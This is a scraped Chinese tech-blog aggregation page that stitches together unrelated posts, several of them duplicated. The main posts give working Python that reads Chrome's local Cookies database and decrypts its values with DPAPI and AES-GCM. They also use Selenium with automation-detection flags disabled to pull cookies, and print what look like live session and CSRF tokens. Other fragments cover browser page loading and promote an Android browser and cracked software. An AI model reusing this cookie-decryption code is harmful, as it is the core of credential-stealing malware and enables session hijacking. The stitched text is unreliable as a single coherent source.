  {'ttcid': '3087b27658f74de9a4dae240e7b3930726', 'MONITOR_DEVICE_ID': 'd465b931-3a0e-45ba-ac19-263dd31a76ee', 'MONITOR_WEB_ID': '70892127-f756-4455-bb5e-f8b1bf6b71d0', '_tea_utm_cache_6383': 'undefined', 'AB_LOGIN_GUIDE_TIMESTAMP': '1642915542503', 'passport_csrf_token_default': 'c6bda362fba48845a2fe6e79f4d35bc8', 'passport_csrf_token': 'c6bda362fba48845a2fe6e79f4d35bc8', '_tea_utm_cache_1300': 'undefined', 'msToken': 'e2XPeN9Oe2rvoAwQrIKLvpGYQTF8ymR4MFv6N8dXHhu4To2NlR0uzx-XPqxCWWLlO5Mqr2-3hwSIGO_o__heO0Rv6nxYXaOt6yx2eaBS7vmttb4wQSQcYBo=', 'THEME_STAY_TIME': '13218', '__ac_nonce': '061ed2dee006ff56640fa', '__ac_signature': '_02B4Z6wo00f01rasq3AAAIDCNq5RMzqU2Ya2iK.AAMxSb2', 'home_can_add_dy_2_desktop': '1', 'ttwid': '1%7CsXCoN0TQtHpKYiRoZnAKyqNJhOfkdJjNEJIdPPAibJw%7C1642915541%7C8a3308d87c6d2a38632bbfe4dfc0baae75162cedf6d63ace9a9e2ae4a13182d2'}
   查看全部

  提取谷歌游览器Cookie的五重境界
  一、纯手动提取谷歌游览器cookie
  这应该是任何玩过爬虫的童鞋都会的方案,也可能是对于完全不会爬虫的童鞋使用起来最困难的方案。
  方法就是先F12打开开发者工具,然后访问要提取cookie的网站,然后在网络中选中刚才访问的请求。然后在请求头中找到cookie这一项,复制对应的值即可。
  二、selenium手动登录并获取cookie
  以保存B站登录cookie为例:
  from selenium import webdriverfrom selenium.webdriver.common.by import Byfrom selenium.common.exceptions import NoSuchElementExceptionimport timeimport json<br />browser = webdriver.Chrome()browser.get("https://passport.bilibili.com/login";)flag = Trueprint("等待登录...")while flag: try: browser.find_element(By.XPATH, "//div[@class='user-con signin']|//ul[@class='right-entry']" "//a[@class='header-entry-avatar']") flag = False except NoSuchElementException as e: time.sleep(3)print("已登录,现在为您保存cookie...")with open('cookie.txt', 'w', encoding='u8') as f: json.dump(browser.get_cookies(), f)browser.close()print("cookie保存完成,游览器已自动退出...")
  执行以上代码,selenium会控制谷歌游览器打开B站的登录页,等待用户手动登录B站,登录后会自动保存cookie。
  三、selenium无头模式获取非登录cookie
  比如抖音这种网站想下载其中的视频,就必须要带有一个初始的cookie,但这个cookie生成的算法比较复杂,纯requests很难模拟,这时我们完全可以借助selenium来加载网页并获取cookie节省分析js的时间。由于我们并不需要进行人工的操作,所以使用无头模式更佳。
  下面就演示无头模式获取抖音网站的cookie
  from selenium import webdriverimport time<br /><br />def selenium_get_cookies(url='https://www.douyin.com'):    """无头模式提取目标链接对应的cookie""" start_time = time.time() option = webdriver.ChromeOptions() option.add_argument("--headless") option.add_experimental_option('excludeSwitches', ['enable-automation']) option.add_experimental_option('useAutomationExtension', False) option.add_argument( 'user-agent=Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36') option.add_argument("--disable-blink-features=AutomationControlled") print("打开无头游览器...") browser = webdriver.Chrome(options=option) print(f"访问{url} ...") browser.get(url) cookie_list = browser.get_cookies() # 关闭浏览器 browser.close() cost_time = time.time() - start_time print(f"无头游览器获取cookie耗时:{cost_time:0.2f} 秒") return {row["name"]: row["value"] for row in cookie_list}<br /><br />print(selenium_get_cookies("https://www.douyin.com";))<br />
  打印结果如下:
  打开无头游览器...访问https://www.douyin.com ...无头游览器获取cookie耗时:3.28 秒{'': 'douyin.com', 'ttwid': '1%7CZn_LJdPjHKdCy4jtBoYWL_yT3NMn7OZVTBStEzoLoQg%7C1642932056%7C80dbf668fd283c71f9aee1a277cb35f597a8453a3159805c92dfee338e70b640', 'AB_LOGIN_GUIDE_TIMESTAMP': '1642932057106', 'MONITOR_WEB_ID': '651d9eca-f155-494b-a945-b8758ae948fb', 'ttcid': 'ea2b5aed3bb349219f7120c53dc844a033', 'home_can_add_dy_2_desktop': '0', '_tea_utm_cache_6383': 'undefined', '__ac_signature': '_02B4Z6wo00f01kI39JwAAIDBnlvrNDKInu5CB.AAAPFv24', 'MONITOR_DEVICE_ID': '25d4799c-1d29-40e9-ab2b-3cc056b09a02', '__ac_nonce': '061ed27580066860ebc87'}
  四、获取本地谷歌游览器中的cookie
  我们知道当我们通过selenium直接去控制谷歌游览器时,并没有加载原本谷歌游览器的cookie。有没有办法可以直接获取谷歌游览器已经登录过的cookie呢?
  其实很简单,只要我们使用debug远程调试模式运行本地的谷歌游览器,再用selenium控制即可提取之前登录的cookie:
  import osimport winregfrom selenium import webdriverimport time<br /><br />def get_local_ChromeCookies(url, chrome_path=None): """提取本地谷歌游览器目标链接对应的cookie""" if chrome_path is None: key = winreg.OpenKey(winreg.HKEY_CLASSES_ROOT, r"ChromeHTML\Application") path = winreg.QueryValueEx(key, "ApplicationIcon")[0] chrome_path = path[:path.rfind(",")] start_time = time.time() command = f'"{chrome_path}" --remote-debugging-port=9222' # print(command) os.popen(command) option = webdriver.ChromeOptions() option.add_experimental_option("debuggerAddress", "127.0.0.1:9222") browser = webdriver.Chrome(options=option) print(f"访问{url}...") browser.get(url) cookie_list = browser.get_cookies() # 关闭浏览器 browser.close() cost_time = time.time() - start_time print(f"获取谷歌游览器cookie耗时:{cost_time:0.2f} 秒") return {row["name"]: row["value"] for row in cookie_list}<br /><br />print(get_local_ChromeCookies("https://www.douyin.com";))<br />
  上述代码有能力直接获取之前在谷歌游览器访问过的任何网站的cookie,下面是抖音的结果:
  五、解析存储谷歌游览器cookie数据的文件并提取
  最后我再介绍一个终极绝招,那就是直接解密cookies文件。在97之前版本的谷歌游览器,保存cookie的文件存储在%LOCALAPPDATA%\Google\Chrome\User Data\Default\Cookies,而在97版本后则移动到了%LOCALAPPDATA%\Google\Chrome\User Data\Default\Network\Cookies。
  但在未来97以上的版本,存储位置和加密方式是否会继续发生变化还未知。截止目前密钥数据始终都存储在%LOCALAPPDATA%\Google\Chrome\User Data\Local State文件中。(80版本之前,直接使用win32crypt.CryptUnprotectData(encrypted_value_bytes,None,None,None,0)[1]解密,无需密钥)
  完整提取代码如下:
  <br />import base64import jsonimport osimport sqlite3<br />import win32cryptfrom cryptography.hazmat.primitives.ciphers.aead import AESGCM<br /><br />def load_local_key(localStateFilePath): "读取chrome保存在json文件中的key再进行base64解码和DPAPI解密得到真实的AESGCM key" with open(localStateFilePath, encoding='u8') as f: encrypted_key = json.load(f)['os_crypt']['encrypted_key'] encrypted_key_with_header = base64.b64decode(encrypted_key) encrypted_key = encrypted_key_with_header[5:] key = win32crypt.CryptUnprotectData(encrypted_key, None, None, None, 0)[1] return key<br /><br />def decrypt_value(key, data): "AESGCM解密" nonce, cipherbytes = data[3:15], data[15:] aesgcm = AESGCM(key) plaintext = aesgcm.decrypt(nonce, cipherbytes, None).decode('u8') return plaintext<br /><br />def fetch_host_cookie(host): "获取指定域名下的所有cookie" userDataDir = os.environ['LOCALAPPDATA'] + r'\Google\Chrome\User Data' localStateFilePath = userDataDir + r'\Local State' cookiepath = userDataDir + r'\Default\Cookies' # 97版本已经将Cookies移动到Network目录下 if not os.path.exists(cookiepath) or os.stat(cookiepath).st_size == 0: cookiepath = userDataDir + r'\Default\Network\Cookies' # print(cookiepath) sql = f"select name,encrypted_value from cookies where host_key like '%.{host}'" cookies = {} key = load_local_key(localStateFilePath) with sqlite3.connect(cookiepath) as conn: cu = conn.cursor() for name, encrypted_value in cu.execute(sql).fetchall(): cookies[name] = decrypt_value(key, encrypted_value) return cookies<br /><br />if __name__ == '__main__': print(fetch_host_cookie("douyin.com"))<br />
  结果
  {'ttcid': '3087b27658f74de9a4dae240e7b3930726', 'MONITOR_DEVICE_ID': 'd465b931-3a0e-45ba-ac19-263dd31a76ee', 'MONITOR_WEB_ID': '70892127-f756-4455-bb5e-f8b1bf6b71d0', '_tea_utm_cache_6383': 'undefined', 'AB_LOGIN_GUIDE_TIMESTAMP': '1642915542503', 'passport_csrf_token_default': 'c6bda362fba48845a2fe6e79f4d35bc8', 'passport_csrf_token': 'c6bda362fba48845a2fe6e79f4d35bc8', '_tea_utm_cache_1300': 'undefined', 'msToken': 'e2XPeN9Oe2rvoAwQrIKLvpGYQTF8ymR4MFv6N8dXHhu4To2NlR0uzx-XPqxCWWLlO5Mqr2-3hwSIGO_o__heO0Rv6nxYXaOt6yx2eaBS7vmttb4wQSQcYBo=', 'THEME_STAY_TIME': '13218', '__ac_nonce': '061ed2dee006ff56640fa', '__ac_signature': '_02B4Z6wo00f01rasq3AAAIDCNq5RMzqU2Ya2iK.AAMxSb2', 'home_can_add_dy_2_desktop': '1', 'ttwid': '1%7CsXCoN0TQtHpKYiRoZnAKyqNJhOfkdJjNEJIdPPAibJw%7C1642915541%7C8a3308d87c6d2a38632bbfe4dfc0baae75162cedf6d63ace9a9e2ae4a13182d2'}
  

从输入网址到浏览器呈现页面内容,中间发生了什么?

网站优化优采云 发表了文章 • 0 个评论 • 51 次浏览 • 2022-06-07 07:08 • 来自相关话题

  从输入网址到浏览器呈现页面内容,中间发生了什么?
  前言
  这篇文章是应网友之邀所写,主要描述一下我们访问网站时, 从输入网址到最后浏览器呈现内容,中间发生了什么。
  之前写过两篇文章描述了一个电脑如何通过DHCP、ARP、NAT等上式获取IP、然后访问网络的过程,主要专注在传输层和网络层。
  今天的文章主要专注于应用层,我拿了一个很简单的网络结构来讲。假定本机已经获取了IP地址,各种网络基础设施已经准备好了。
  由于知识点太多,我肯定会漏掉部分内容,欢迎在留言中补充, 以后我会根据大家建议再写文章扩展。
  2准备
  当你在浏览器中输入网址(例如)并且敲了回车以后, 浏览器首先要做的事情就是获得的IP地址,具体的做法就是发送一个UDP的包给DNS服务器,DNS服务器会返回的IP, 这时候浏览器通常会把IP地址给缓存起来,这样下次访问就会加快。
  比如Chrome, 你可以通过chrome://net-internals/#dns来查看。
  有了服务器的IP, 浏览器就要可以发起HTTP请求了,但是HTTP Request/Response必须在TCP这个“虚拟的连接”上来发送和接收。
  想要建立“虚拟的”TCP连接,TCP邮差需要知道4个东西:(本机IP, 本机端口,服务器IP, 服务器端口),现在只知道了本机IP,服务器IP, 两个端口怎么办?
  本机端口很简单,操作系统可以给浏览器随机分配一个, 服务器端口更简单,用的是一个“众所周知”的端口,HTTP服务就是80, 我们直接告诉TCP邮差就行。
  经过三次握手以后,客户端和服务器端的TCP连接就建立起来了! 终于可以发送HTTP请求了。
  
  之所以把TCP连接画成虚线,是因为这个连接是虚拟的, 详情可参见之前的文章《》,《》
  3Web服务器
  一个HTTP GET请求经过千山万水,历经多个路由器的转发,终于到达服务器端(HTTP数据包可能被下层进行分片传输,略去不表)。
  Web服务器需要着手处理了,它有三种方式来处理:
  (1) 可以用一个线程来处理所有请求,同一时刻只能处理一个,这种结构易于实现,但是这样会造成严重的性能问题。
  (2) 可以为每个请求分配一个进程/线程,但是当连接太多的时候,服务器端的进程/线程会耗费大量内存资源,进程/线程的切换也会让CPU不堪重负。
  (3) 复用I/O的方式,很多Web服务器都采用了复用结构,例如通过epoll的方式监视所有的连接,当连接的状态发生变化(如有数据可读), 才用一个进程/线程对那个连接进行处理,处理完以后继续监视,等待下次状态变化。 用这种方式可以用少量的进程/线程应对成千上万的连接请求。
  (码农翻身注:详情参见《》)
  我们使用Nginx这个非常流行的Web服务器来继续下面的故事。
  对于HTTP GET请求,Nginx利用epoll的方式给读取了出来, Nginx接下来要判断,这是个静态的请求还是个动态的请求啊?
  如果是静态的请求(HTML文件,JavaScript文件,CSS文件,图片等),也许自己就能搞定了(当然依赖于Nginx配置,可能转发到别的缓存服务器去),读取本机硬盘上的相关文件,直接返回。
  如果是动态的请求,需要后端服务器(如Tomcat)处理以后才能返回,那就需要向Tomcat转发,如果后端的Tomcat还不止一个,那就需要按照某种策略选取一个。
  例如Ngnix支持这么几种:
  
  
  不管用哪种算法,某个后端服务器最终被选中,然后Nginx需要把HTTP Request转发给后端的Tomcat,并且把Tomcat输出的HttpResponse再转发给浏览器。
  由此可见,Nginx在这种场景下,是一个代理人的角色。
  
  
  5应用服务器
  Http Request终于来到了Tomcat,这是一个由Java写的、可以处理Servlet/JSP的容器,我们的代码就运行在这个容器之中。
  如同Web服务器一样, Tomcat也可能为每个请求分配一个线程去处理,即通常所说的BIO模式(Blocking I/O 模式)。
  也可能使用I/O多路复用技术,仅仅使用若干线程来处理所有请求,即NIO模式。
  不管用哪种方式,Http Request 都会被交给某个Servlet处理,这个Servlet又会把Http Request做转换,变成框架所使用的参数格式,然后分发给某个Controller(如果你是在用Spring)或者Action(如果你是在Struts)。
  剩下的故事就比较简单了(不,对码农来说,其实是最复杂的部分),就是执行码农经常写的增删改查逻辑,在这个过程中很有可能和缓存、数据库等后端组件打交道,最终返回HTTP Response,由于细节依赖业务逻辑,略去不表。 查看全部

  从输入网址到浏览器呈现页面内容,中间发生了什么?
  前言
  这篇文章是应网友之邀所写,主要描述一下我们访问网站时, 从输入网址到最后浏览器呈现内容,中间发生了什么。
  之前写过两篇文章描述了一个电脑如何通过DHCP、ARP、NAT等上式获取IP、然后访问网络的过程,主要专注在传输层和网络层。
  今天的文章主要专注于应用层,我拿了一个很简单的网络结构来讲。假定本机已经获取了IP地址,各种网络基础设施已经准备好了。
  由于知识点太多,我肯定会漏掉部分内容,欢迎在留言中补充, 以后我会根据大家建议再写文章扩展。
  2准备
  当你在浏览器中输入网址(例如)并且敲了回车以后, 浏览器首先要做的事情就是获得的IP地址,具体的做法就是发送一个UDP的包给DNS服务器,DNS服务器会返回的IP, 这时候浏览器通常会把IP地址给缓存起来,这样下次访问就会加快。
  比如Chrome, 你可以通过chrome://net-internals/#dns来查看。
  有了服务器的IP, 浏览器就要可以发起HTTP请求了,但是HTTP Request/Response必须在TCP这个“虚拟的连接”上来发送和接收。
  想要建立“虚拟的”TCP连接,TCP邮差需要知道4个东西:(本机IP, 本机端口,服务器IP, 服务器端口),现在只知道了本机IP,服务器IP, 两个端口怎么办?
  本机端口很简单,操作系统可以给浏览器随机分配一个, 服务器端口更简单,用的是一个“众所周知”的端口,HTTP服务就是80, 我们直接告诉TCP邮差就行。
  经过三次握手以后,客户端和服务器端的TCP连接就建立起来了! 终于可以发送HTTP请求了。
  
  之所以把TCP连接画成虚线,是因为这个连接是虚拟的, 详情可参见之前的文章《》,《》
  3Web服务器
  一个HTTP GET请求经过千山万水,历经多个路由器的转发,终于到达服务器端(HTTP数据包可能被下层进行分片传输,略去不表)。
  Web服务器需要着手处理了,它有三种方式来处理:
  (1) 可以用一个线程来处理所有请求,同一时刻只能处理一个,这种结构易于实现,但是这样会造成严重的性能问题。
  (2) 可以为每个请求分配一个进程/线程,但是当连接太多的时候,服务器端的进程/线程会耗费大量内存资源,进程/线程的切换也会让CPU不堪重负。
  (3) 复用I/O的方式,很多Web服务器都采用了复用结构,例如通过epoll的方式监视所有的连接,当连接的状态发生变化(如有数据可读), 才用一个进程/线程对那个连接进行处理,处理完以后继续监视,等待下次状态变化。 用这种方式可以用少量的进程/线程应对成千上万的连接请求。
  (码农翻身注:详情参见《》)
  我们使用Nginx这个非常流行的Web服务器来继续下面的故事。
  对于HTTP GET请求,Nginx利用epoll的方式给读取了出来, Nginx接下来要判断,这是个静态的请求还是个动态的请求啊?
  如果是静态的请求(HTML文件,JavaScript文件,CSS文件,图片等),也许自己就能搞定了(当然依赖于Nginx配置,可能转发到别的缓存服务器去),读取本机硬盘上的相关文件,直接返回。
  如果是动态的请求,需要后端服务器(如Tomcat)处理以后才能返回,那就需要向Tomcat转发,如果后端的Tomcat还不止一个,那就需要按照某种策略选取一个。
  例如Ngnix支持这么几种:
  
  
  不管用哪种算法,某个后端服务器最终被选中,然后Nginx需要把HTTP Request转发给后端的Tomcat,并且把Tomcat输出的HttpResponse再转发给浏览器。
  由此可见,Nginx在这种场景下,是一个代理人的角色。
  
  
  5应用服务器
  Http Request终于来到了Tomcat,这是一个由Java写的、可以处理Servlet/JSP的容器,我们的代码就运行在这个容器之中。
  如同Web服务器一样, Tomcat也可能为每个请求分配一个线程去处理,即通常所说的BIO模式(Blocking I/O 模式)。
  也可能使用I/O多路复用技术,仅仅使用若干线程来处理所有请求,即NIO模式。
  不管用哪种方式,Http Request 都会被交给某个Servlet处理,这个Servlet又会把Http Request做转换,变成框架所使用的参数格式,然后分发给某个Controller(如果你是在用Spring)或者Action(如果你是在Struts)。
  剩下的故事就比较简单了(不,对码农来说,其实是最复杂的部分),就是执行码农经常写的增删改查逻辑,在这个过程中很有可能和缓存、数据库等后端组件打交道,最终返回HTTP Response,由于细节依赖业务逻辑,略去不表。

(Android)Top浏览器v3.1.9-极速移动浏览器

网站优化优采云 发表了文章 • 0 个评论 • 87 次浏览 • 2022-06-07 06:46 • 来自相关话题

  (Android)Top浏览器v3.1.9-极速移动浏览器
  
  OMG优质资源
  ‍‍公众号改推送机制了,以后可能收不到咱们消息了,不想错过优质的资源分享,请点左上角OMG优质资源,然后按下面步骤,设置星标★就可以优先推送了,谢谢大家的支持。下载提取码在文末哦!!!!!!!!!!!!!!另外破解软件有时效性,过一段时间会时效的,后续网盘会有更新新版本微信如果遇到无法访问蓝奏云连接,获取链接后复制到浏览器下载既可
  
  产品简介Top浏览器是一款极速移动浏览器。
  智能广告拦截,采用Adblock,自动更新规则,清爽界面,拒绝弹窗骚扰,任何的广告又或者是小的弹窗广告,都会进行删除。阅读模式,智能提取网页正文,下拉翻页,给你干净整洁的阅读体验,而且用户们还可以根据自己的需求,主动对界面进行管理。嗅探下载,准确抓取资源链接,支持音频、视频的下载,支持M3U8视频下载并自动转MP4,同时还可以在平台下载其他的文件。随时随地都可以浏览各种热点网页推荐视频等等。智能搜索功能,让你轻松查看到你感兴趣的内容。
  
  产品特色
  【最良心】不偷取用户数据,权限只必要;
  【最快速】使用的webkit内核,原生体验;
  【最强悍】各种设置项自定义,为你专属;
  – 非常小巧,仅几百KB,该有的功能都有;
  – 隐私保护、隐私防追踪、自定义浏览器标识ua;
  – 支持广告拦截、自定义广告标记(可添加拦截规则)
  – 支持沉浸式、支持定制主页风格、LOGO、搜索栏;
  – 支持HTML5、插件管理、下载插件、下载链接解析;
  – 书签可以登陆云同步,支持夜间模式,夜间模式、电脑模式、有图/无图模式;
  – 支持翻译网页、离线网页、保存网页、查看网页源码、网页资源嗅探、网页内查找等;
  – 支持自定义添加脚本(添加如:百度贴吧免登陆看更多回复、知乎免登陆看全文回答);
  产品更新为了让更多的用户享受到舒适的便捷生活服务,用户们可以在平台上更加轻松地了解到众多的应用版块的使用方式,享受软件的操作性;
  三无模式开启,你不想要的,我们通通都没有——无广告、无新闻、无推送,轻快简洁,还原浏览器本质,使用起来更加舒心;自由订阅功能,通过订阅获取网站更新内容,轻松实现追剧、追小说、追漫画…以订阅的方式“看”世界,各种各样的资讯都可以在线订阅
  联系我们加入微群每天都有VIP优秀资源分享,欢迎大家加入,进群才有哦!由于群已满200人,无法进行扫码入群,现提供群主微信,(需要进群可加群主微信,拉你入群)广告别进 必T,广告别进 必T,广告别进 必T
  
  下载地址
  公众号内发送【198】点击下方公众号进入发送数字即可获取资源下载链接微信如果遇到无法访问蓝奏云连接,获取链接后复制到浏览器下载既可
  
  
  好了,今天的分享就是这样,老规矩,获取软件前记得戳一些右下角的【在看】哦!你们的在看就是我更新的动力!拜 托戳 最 底加 个 鸡 腿吧
  
   查看全部

  (Android)Top浏览器v3.1.9-极速移动浏览器
  
  OMG优质资源
  ‍‍公众号改推送机制了,以后可能收不到咱们消息了,不想错过优质的资源分享,请点左上角OMG优质资源,然后按下面步骤,设置星标★就可以优先推送了,谢谢大家的支持。下载提取码在文末哦!!!!!!!!!!!!!!另外破解软件有时效性,过一段时间会时效的,后续网盘会有更新新版本微信如果遇到无法访问蓝奏云连接,获取链接后复制到浏览器下载既可
  
  产品简介Top浏览器是一款极速移动浏览器。
  智能广告拦截,采用Adblock,自动更新规则,清爽界面,拒绝弹窗骚扰,任何的广告又或者是小的弹窗广告,都会进行删除。阅读模式,智能提取网页正文,下拉翻页,给你干净整洁的阅读体验,而且用户们还可以根据自己的需求,主动对界面进行管理。嗅探下载,准确抓取资源链接,支持音频、视频的下载,支持M3U8视频下载并自动转MP4,同时还可以在平台下载其他的文件。随时随地都可以浏览各种热点网页推荐视频等等。智能搜索功能,让你轻松查看到你感兴趣的内容。
  
  产品特色
  【最良心】不偷取用户数据,权限只必要;
  【最快速】使用的webkit内核,原生体验;
  【最强悍】各种设置项自定义,为你专属;
  – 非常小巧,仅几百KB,该有的功能都有;
  – 隐私保护、隐私防追踪、自定义浏览器标识ua;
  – 支持广告拦截、自定义广告标记(可添加拦截规则)
  – 支持沉浸式、支持定制主页风格、LOGO、搜索栏;
  – 支持HTML5、插件管理、下载插件、下载链接解析;
  – 书签可以登陆云同步,支持夜间模式,夜间模式、电脑模式、有图/无图模式;
  – 支持翻译网页、离线网页、保存网页、查看网页源码、网页资源嗅探、网页内查找等;
  – 支持自定义添加脚本(添加如:百度贴吧免登陆看更多回复、知乎免登陆看全文回答);
  产品更新为了让更多的用户享受到舒适的便捷生活服务,用户们可以在平台上更加轻松地了解到众多的应用版块的使用方式,享受软件的操作性;
  三无模式开启,你不想要的,我们通通都没有——无广告、无新闻、无推送,轻快简洁,还原浏览器本质,使用起来更加舒心;自由订阅功能,通过订阅获取网站更新内容,轻松实现追剧、追小说、追漫画…以订阅的方式“看”世界,各种各样的资讯都可以在线订阅
  联系我们加入微群每天都有VIP优秀资源分享,欢迎大家加入,进群才有哦!由于群已满200人,无法进行扫码入群,现提供群主微信,(需要进群可加群主微信,拉你入群)广告别进 必T,广告别进 必T,广告别进 必T
  
  下载地址
  公众号内发送【198】点击下方公众号进入发送数字即可获取资源下载链接微信如果遇到无法访问蓝奏云连接,获取链接后复制到浏览器下载既可
  
  
  好了,今天的分享就是这样,老规矩,获取软件前记得戳一些右下角的【在看】哦!你们的在看就是我更新的动力!拜 托戳 最 底加 个 鸡 腿吧
  
  

教你获取浏览器中所有网站的cookie

网站优化优采云 发表了文章 • 0 个评论 • 744 次浏览 • 2022-06-03 21:06 • 来自相关话题

  教你获取浏览器中所有网站的cookie
  
  
  美国学者埃德加.戴尔(Edgar Dale)1946年提出了“学习金字塔”的理论。将学习方式分为7种,分别听讲、阅读、视听结合、演示、讨论、实践、分享。前四种属于被动学习,学习内容的平均留存率较低,而后三种属于主动学习,学习内容的平均留存率更高。传统的听讲、阅读学习内容平均留存率只有5%,10%。而通过分享的方式教授给他人,学习的平均留存率可以达到90%。一起学习,共同进步!
  本公众号分享源码,编程,数据库,服务器,数据结构,算法等内容。欢迎点上方订阅查看,是一个纯粹的学习笔记公众号。希望能帮到大家
  
  声明:本文仅用于技术交流。请勿将技术用于非法用途。
  本文以chrome为例,分享如何破解浏览器中加密的cookie,其他浏览器大同小异。很容易解决。
  先回答第一个问题浏览器的cookie是如何保存的?
  浏览器中的cookie保存在sqlite中,cookie的值加密在encrypted_value列中。
  
  以chrome新版为例:默认用户的cookie保存位置为:
  
  默认用户的位置在:C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default\Network\cookies
  第二个问题,cookie值是如何加密的:
  涉及的加密算法是:DPAPI+AesGcm
  
  第三个问题:解密:
  语言:python
  import win32crypt
  2.c#
  [DllImport("crypt32.dll", CharSet = CharSet.Auto, SetLastError = true)]string decryptedPassword = AesGcm256.decrypt(Convert.ToBase64String(payload), masterKeyBytes, iv);
  
  解密流程:
  
  感谢您的阅读,欢迎将该文分享给需要的朋友,我们一起学习,一起进步。 查看全部

  教你获取浏览器中所有网站的cookie
  
  
  美国学者埃德加.戴尔(Edgar Dale)1946年提出了“学习金字塔”的理论。将学习方式分为7种,分别听讲、阅读、视听结合、演示、讨论、实践、分享。前四种属于被动学习,学习内容的平均留存率较低,而后三种属于主动学习,学习内容的平均留存率更高。传统的听讲、阅读学习内容平均留存率只有5%,10%。而通过分享的方式教授给他人,学习的平均留存率可以达到90%。一起学习,共同进步!
  本公众号分享源码,编程,数据库,服务器,数据结构,算法等内容。欢迎点上方订阅查看,是一个纯粹的学习笔记公众号。希望能帮到大家
  
  声明:本文仅用于技术交流。请勿将技术用于非法用途。
  本文以chrome为例,分享如何破解浏览器中加密的cookie,其他浏览器大同小异。很容易解决。
  先回答第一个问题浏览器的cookie是如何保存的?
  浏览器中的cookie保存在sqlite中,cookie的值加密在encrypted_value列中。
  
  以chrome新版为例:默认用户的cookie保存位置为:
  
  默认用户的位置在:C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default\Network\cookies
  第二个问题,cookie值是如何加密的:
  涉及的加密算法是:DPAPI+AesGcm
  
  第三个问题:解密:
  语言:python
  import win32crypt
  2.c#
  [DllImport("crypt32.dll", CharSet = CharSet.Auto, SetLastError = true)]string decryptedPassword = AesGcm256.decrypt(Convert.ToBase64String(payload), masterKeyBytes, iv);
  
  解密流程:
  
  感谢您的阅读,欢迎将该文分享给需要的朋友,我们一起学习,一起进步。

这款打开方式独特的浏览器,让你加载网页从此不用再等待 #Android

网站优化优采云 发表了文章 • 0 个评论 • 164 次浏览 • 2022-06-03 20:45 • 来自相关话题

  这款打开方式独特的浏览器,让你加载网页从此不用再等待 #Android
  
  今天世超独宠
  Android差友
  不知道大家平日里,在刷着微博浏览着新闻的时候有没有遇见过这样的情况:在你浏览的过程中,总会出现一些让你感兴趣的链接。
  这些链接可能是:
  ”这个视频,女人不在家男人偷偷看!”
  “震惊!想不到林丹之后下一个出轨的明星竟然是他?!”
  
  这些不可描素的链接总有一种让你打开的魔力。但是烦人的是:当我们点开下载链接时间,冗长的页面加载往往中断了我们的阅读体验。
  今天这打开方式独特的浏览器,我想可以帮你省去大量加载网页的时间。
  
  简单的说Flyperlink 就是一款悬浮浏览器。 能够把你需要打开的链接在后台加载,通过悬浮窗的形式展现。
  也就是说我在我们在手机悬浮图标内,内置了一个浏览器。我们可以自由的在两个浏览器之间来回切换。
  并且使用Flyperlink浏览器打来网页的过程都是在后台完成的。省略了我们大量加载网页的等待时间。
  下面是一个Flyperlink浏览器的操作演示图,不感兴趣的差友们可以省略。。。
  
  当然了,这种拥有特立独行的打开方式的浏览器。不是Flyperlink首创。这种悬浮式的浏览器都是的 Brave和 Flynx 玩剩下的。
  不要问我为什么推荐Flyperlink在这个颜值即使正义的时代。简介美观的设计语言,和德芙一样丝般顺滑的用户体验已经说明了一切。
  
  Flyperlink会获取网站的图标,并把它填充到气泡内,地址栏会随着网站的环境色而变色。书签也会以卡片式的形式展现。
  恩~光这些用心的细节就比 Brave和 Flynx 好看出好几条街了。
  
  不过作为我们日常使用的频率最高的微博、微信等一票应用早就放弃了对第三方浏览器跳转支持,只能通过内嵌浏览器打开。不免有些店大欺客的嫌疑。
  所以在使用微博或是微信这些客户端时Flyperlink需要多一步操作。或许有些违背了使用Flyperlink提高效率的初衷。
  如果抛开这些对第三方浏览器充满恶意的微博和微信。Flyperlink 还是一款交互清晰,美观高效的效率浏览器。帮我们省去了大量加载页面的时间。打通了各种网页之间的切换。
  对了,一直吐槽我偏爱iOS的差友们,这是一款只支持Aniord的应用哦。
  感兴趣的差友后台回复「浏览器」获取链接
   查看全部

  这款打开方式独特的浏览器,让你加载网页从此不用再等待 #Android
  
  今天世超独宠
  Android差友
  不知道大家平日里,在刷着微博浏览着新闻的时候有没有遇见过这样的情况:在你浏览的过程中,总会出现一些让你感兴趣的链接。
  这些链接可能是:
  ”这个视频,女人不在家男人偷偷看!”
  “震惊!想不到林丹之后下一个出轨的明星竟然是他?!”
  
  这些不可描素的链接总有一种让你打开的魔力。但是烦人的是:当我们点开下载链接时间,冗长的页面加载往往中断了我们的阅读体验。
  今天这打开方式独特的浏览器,我想可以帮你省去大量加载网页的时间。
  
  简单的说Flyperlink 就是一款悬浮浏览器。 能够把你需要打开的链接在后台加载,通过悬浮窗的形式展现。
  也就是说我在我们在手机悬浮图标内,内置了一个浏览器。我们可以自由的在两个浏览器之间来回切换。
  并且使用Flyperlink浏览器打来网页的过程都是在后台完成的。省略了我们大量加载网页的等待时间。
  下面是一个Flyperlink浏览器的操作演示图,不感兴趣的差友们可以省略。。。
  
  当然了,这种拥有特立独行的打开方式的浏览器。不是Flyperlink首创。这种悬浮式的浏览器都是的 Brave和 Flynx 玩剩下的。
  不要问我为什么推荐Flyperlink在这个颜值即使正义的时代。简介美观的设计语言,和德芙一样丝般顺滑的用户体验已经说明了一切。
  
  Flyperlink会获取网站的图标,并把它填充到气泡内,地址栏会随着网站的环境色而变色。书签也会以卡片式的形式展现。
  恩~光这些用心的细节就比 Brave和 Flynx 好看出好几条街了。
  
  不过作为我们日常使用的频率最高的微博、微信等一票应用早就放弃了对第三方浏览器跳转支持,只能通过内嵌浏览器打开。不免有些店大欺客的嫌疑。
  所以在使用微博或是微信这些客户端时Flyperlink需要多一步操作。或许有些违背了使用Flyperlink提高效率的初衷。
  如果抛开这些对第三方浏览器充满恶意的微博和微信。Flyperlink 还是一款交互清晰,美观高效的效率浏览器。帮我们省去了大量加载页面的时间。打通了各种网页之间的切换。
  对了,一直吐槽我偏爱iOS的差友们,这是一款只支持Aniord的应用哦。
  感兴趣的差友后台回复「浏览器」获取链接
  

浏览器渲染页面过程描述,DOM编程技巧以及重排和重绘

网站优化优采云 发表了文章 • 0 个评论 • 90 次浏览 • 2022-06-02 21:32 • 来自相关话题

  浏览器渲染页面过程描述,DOM编程技巧以及重排和重绘
  一、浏览器渲染页过程描述
  1、浏览器解析html源码,然后创建一个DOM树。
  在DOM树中,每一个HTML标签都有一个对应的节点(元素节点),并且每一个文本也都有一个对应的节点(文本节点)。
